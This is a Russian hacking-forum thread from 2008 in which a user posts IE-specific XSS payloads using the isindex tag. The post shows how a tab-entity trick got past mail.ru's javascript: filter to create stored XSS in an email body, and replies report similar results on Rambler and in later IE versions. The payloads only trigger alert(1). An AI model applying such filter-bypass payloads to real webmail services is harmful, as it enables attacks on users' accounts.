ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Активная XSS Mail.ru (IE6) / 09.11.08
   
Ответ
Страница 1 из 2 1 2 >
 
Опции темы Поиск в этой теме Опции просмотра

Активная XSS Mail.ru (IE6) / 09.11.08
  #1  
Старый 10.11.2008, 00:04
Аватар для brain[pillow]
brain[pillow]
Участник форума
Регистрация: 07.11.2008
Сообщений: 124
Провел на форуме:
1483379

Репутация: 386
Отправить сообщение для brain[pillow] с помощью ICQ
По умолчанию Активная XSS Mail.ru (IE6) / 09.11.08
Недавно рылся по секьюрити блогам, и нашёл вот такой вот интересный пост с двумя XSS-конструкциями для браузера IE (http://www.thespanner.co.uk/2008/08/26/new-xss-vector/):
Код:
1) <isindex type=image src=1 onerror=alert(1)>

2) <isindex action=javascript:alert(1) type=image>
Первая конструкция работает под все версии IE, но на mail.ru тщательно фильтруется активное содержимое любых тегов, поэтому вариант с onload/onerror я отбросил исходя из прошлого горького опыта.

А вот вторая XSS выглядела немного более многообещающей. Заюзав её в неизменном виде на почте mail.ru я получил вот что:
Код:
<isindex action=xjavascript:alert(1) type=image>
Через 5 минут этот фильтр обошёлся добавлением загнанной в hex табуляции (&#9). Фильтр сделал с этим вариантом следующее:
Код:
<isindex action=&#x9javascript:alert(1) type=image>
А это дело корректно обрабатывается в ослике, поэтому на данный момент мы имеем активную XSS в теле письма для IE 6.0:

Код:
<isindex action=&#9javascript:alert(1) type=image>
Пасиба за внимание, надеюсь, кому-нибудь пригодится
Последний раз редактировалось brain[pillow]; 10.11.2008 в 00:09..
 
Ответить с цитированием

  #2  
Старый 10.11.2008, 00:16
Аватар для AdReNa1!Ne
AdReNa1!Ne
Участник форума
Регистрация: 24.05.2007
Сообщений: 229
Провел на форуме:
2308963

Репутация: 309
Отправить сообщение для AdReNa1!Ne с помощью ICQ
По умолчанию
Ну что ж, молодец) Будем знать)
 
Ответить с цитированием

  #3  
Старый 10.11.2008, 00:28
Аватар для 9()K_t()R
9()K_t()R
Banned
Регистрация: 09.11.2008
Сообщений: 4
Провел на форуме:
36924

Репутация: -9
По умолчанию
+1
 
Ответить с цитированием

  #4  
Старый 10.11.2008, 00:41
Аватар для cremator (c)
cremator (c)
Постоянный
Регистрация: 20.06.2008
Сообщений: 323
Провел на форуме:
1240829

Репутация: 165
Отправить сообщение для cremator (c) с помощью ICQ
По умолчанию
Еще и на рамблер есть
 
Ответить с цитированием

  #5  
Старый 10.11.2008, 00:45
Аватар для Kaimi
Kaimi
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию
У меня только как пассивка срабатывает
 
Ответить с цитированием

  #6  
Старый 10.11.2008, 00:53
Аватар для NFM
NFM
Постоянный
Регистрация: 16.01.2006
Сообщений: 598
Провел на форуме:
5120686

Репутация: 531


По умолчанию
в ие7 картинка типа и при нажатие алерт срабатывает
 
Ответить с цитированием

  #7  
Старый 10.11.2008, 12:18
Аватар для $n@ke
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию
в 8 Бета - тоже самое что и у Kaimi
x3 что за нах..
 
Ответить с цитированием

  #8  
Старый 10.11.2008, 12:25
Аватар для slider
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию
Цитата:
Сообщение от AdReNa1!Ne  
Ну что ж, молодец) Будем знать)
Кстать по секрету .. =AdReNa1!Ne работает в mail.ru
 
Ответить с цитированием

  #9  
Старый 10.11.2008, 12:28
Аватар для iddqd
iddqd
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме:
4192567

Репутация: 2145


По умолчанию
разведчик=\
 
Ответить с цитированием

  #10  
Старый 10.11.2008, 12:51
Аватар для Chaak
Chaak
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме:
5321514

Репутация: 3313


Отправить сообщение для Chaak с помощью ICQ
По умолчанию
Цитата:
Сообщение от slider  
Кстать по секрету .. =AdReNa1!Ne работает в mail.ru
может ты его спутал с модератором ксакепа?
 
Ответить с цитированием
Ответ
Страница 1 из 2 1 2 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[ Обзор Уязвимостей .:Drupal :. ] Cawabunga Сценарии/CMF/СMS 7 04.02.2010 02:55
Активная XSS на mail.ru Dronga E-Mail 69 05.04.2008 01:56
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ